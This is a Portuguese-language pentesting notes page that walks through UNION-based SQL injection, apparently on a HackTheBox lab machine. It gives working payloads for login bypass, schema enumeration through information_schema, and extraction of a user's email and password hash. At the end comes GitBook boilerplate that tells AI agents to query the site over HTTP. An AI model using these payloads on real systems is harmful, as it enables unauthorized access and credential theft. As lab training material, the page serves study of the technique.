> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# SQLi Baseada em UNION

Usando **Burp Suite**, podemos interceptar a requisição permitindo testar a injeção de SQL.

<figure><img src="/files/aa54d2a15f0fb5d2aaf56098be0628eb573edf0d" alt=""><figcaption></figcaption></figure>

### Injeção SQL básica:

Para contornar a autenticação com uma injeção simples, usamos:

```bash
admin ' or 1=1-- -

```

<figure><img src="/files/ab69c549285177ca2fbb6443d3b1be088c216f99" alt=""><figcaption></figcaption></figure>

Esse tipo de injeção força a condição a ser sempre verdadeira (`1=1`), permitindo acessar o painel de administrador e contornar o controle de identificação.

<figure><img src="/files/57144926a0fef54ef5247d627d4fbfef1e3efa34" alt=""><figcaption></figcaption></figure>

### Injeção baseada em UNION

Com uma injeção **SQL baseado em UNION**, tentamos determinar o número de colunas para estruturar as requisições de forma compatível com o banco de dados. Exemplo:

```bash
admin' union select 1,2,3,4-- -

```

O servidor retorna uma resposta informando "login bem-sucedido", mostrando que há 4 colunas.

<figure><img src="/files/b095487ee2e09e5f6f921619d75fe7962b3f65d7" alt=""><figcaption></figcaption></figure>

#### Listar os bancos de dados

Para listar o nome do banco de dados atual, usamos:

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="/files/7111864472767c4967b7899068a251f1a2c95365" alt=""><figcaption></figcaption></figure>

Em seguida, para obter todos os bancos de dados disponíveis:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

Resultado: `information_schema`, `main`

<figure><img src="/files/500f80bf9d8f6b607857ca2de602c248ad188e47" alt=""><figcaption></figcaption></figure>

#### Listar as tabelas

Após identificar o banco de dados `main`, listamos a tabela dessa base para explorar as estruturas armazenadas:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

Tabelas encontradas: `blog`, `blog_comments`, `users`.

<figure><img src="/files/6cfeead213e8cf459f74f8a3b2c2a465f40b649b" alt=""><figcaption></figcaption></figure>

Listar as colunas de uma tabela Para a tabela `users`, listamos as colunas disponíveis:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

Colunas encontradas: `email`, `id`, `parâmetro`, `senha`.

<figure><img src="/files/a13de6722e59a7b8fc74ec008df806fa999d09bd" alt=""><figcaption></figcaption></figure>

#### Extração dos dados do usuário

Em seguida, extraímos os dados da tabela `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

USUÁRIO: `Admin` E-MAIL: `admin@goodgames.htb` SENHA (hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/e1ddfe5f1882e22e53fc9a5951b270705f851522" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
